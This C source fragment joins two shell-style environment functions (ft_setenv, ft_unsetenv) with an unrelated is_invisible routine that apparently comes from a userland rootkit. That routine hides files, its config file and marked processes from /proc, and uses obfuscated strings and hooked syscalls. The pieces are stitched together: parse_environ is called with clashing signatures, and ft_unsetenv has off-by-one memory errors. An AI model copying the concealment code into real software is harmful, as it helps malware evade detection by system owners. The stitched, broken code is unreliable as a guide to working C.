void ft_setenv(char **av, t_env *env) { int i; int j; i = 0; j = 0; while (av[1][i] != '=' && av[1][i] != '\0') i++; if (av[1][i] == '\0') { ft_puterr("setenv : usage VAR=VALEUR\n"); return ; } while (env->environ[j] && ft_strncmp(env->environ[j], av[1], i)) j++; if (env->environ[j]) { free(env->environ[j]); env->environ[j] = ft_strdelc(av[1], '"'); } else create_env(env, j, ft_strdelc(av[1], '"')); parse_environ(env); }
void ft_unsetenv(char **av, t_env *env) { char **tmp; int i; int j; i = 0; j = 0; while (env->environ[j]) j++; tmp = (char **)malloc(sizeof(char *) * j); j = 0; i = 0; while (env->environ[j]) { if (ft_strncmp(env->environ[j], av[1], ft_strlen(av[1]))) { tmp[i] = env->environ[j]; i++; } j++; } tmp[i + 1] = NULL; free(env->environ); env->environ = tmp; parse_environ(env); }
int is_invisible(const char *path) { DEBUG("is_invisible\n"); struct stat s_fstat; char line[MAX_LEN]; char p_path[PATH_MAX]; char *config_file = strdup(CONFIG_FILE); FILE *cmd; int fd; init(); x(config_file); if(strstr(path, MAGIC_STRING) || strstr(path, config_file)) { cleanup(config_file, strlen(config_file)); return 1; } char *proc_path = strdup(PROC_PATH); x(proc_path); if(strstr(path, proc_path)){ cleanup(proc_path,strlen(proc_path)); if((long) syscall_list[SYS_XSTAT].syscall_func(_STAT_VER, path, &s_fstat) != -1){ char *cmd_line = strdup(CMD_LINE); char *env_line = strdup(ENV_LINE); x(cmd_line); x(env_line); snprintf(p_path, PATH_MAX, env_line, path); cleanup(cmd_line,strlen(cmd_line)); cleanup(env_line, strlen(env_line)); if((long)(syscall_list[SYS_XSTAT].syscall_func(_STAT_VER, p_path, &s_fstat)) != -1){ cmd = syscall_list[SYS_FOPEN].syscall_func(p_path, "r"); if(cmd){ char *hide_term_str = strdup(HIDE_TERM_STR); x(hide_term_str); int res; char *step = &line[0]; while((res=fgets(line, MAX_LEN, cmd) != NULL)) { if (parse_environ(line, MAX_LEN, hide_term_str) == 1) { cleanup(config_file, strlen(config_file)); cleanup(hide_term_str, strlen(hide_term_str)); return 1; } memset(line,0x00,MAX_LEN); } fclose(cmd); } } } } else { cleanup(proc_path,strlen(proc_path)); } cleanup(config_file,strlen(config_file)); return 0; }